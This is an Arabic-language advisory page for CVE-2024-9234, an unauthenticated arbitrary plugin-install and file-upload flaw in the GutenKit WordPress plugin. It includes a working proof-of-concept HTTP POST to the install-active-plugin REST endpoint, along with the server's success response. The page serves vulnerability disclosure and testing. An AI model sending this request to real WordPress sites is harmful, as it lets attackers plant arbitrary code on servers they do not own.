CVE-2024-9234

GutenKit <= 2.1.0 - رفع ملفات تعسفي بدون مصادقة

الوصف

إضافة GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor لووردبريس معرضة لرفع ملفات تعسفي بسبب عدم وجود فحص للصلاحية في الدالة install_and_activate_plugin_from_external() (نقطة نهاية REST API install-active-plugin) في جميع الإصدارات حتى 2.1.0. هذا يجعل من الممكن للمهاجمين غير المصادق عليهم تثبيت وتفعيل إضافات عشوائية، أو استخدام الوظيفة لرفع ملفات تعسفي مزيفة كإضافات.

Type: plugin
CVSS Score: 9.8
CVE: CVE-2024-9234
Slug: gutenkit-blocks-addon

رابط التحميل: تحميل gutenkit-blocks-addon الإصدار 2.1.0

POC

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114

{
  "plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
  "slug": "popularis-extra"
}

{"success":true,"data":"Plugin installed successfully!"}

CVE-2024-9234

الأكثر شعبية

CVE-2024-9234

الوصف

POC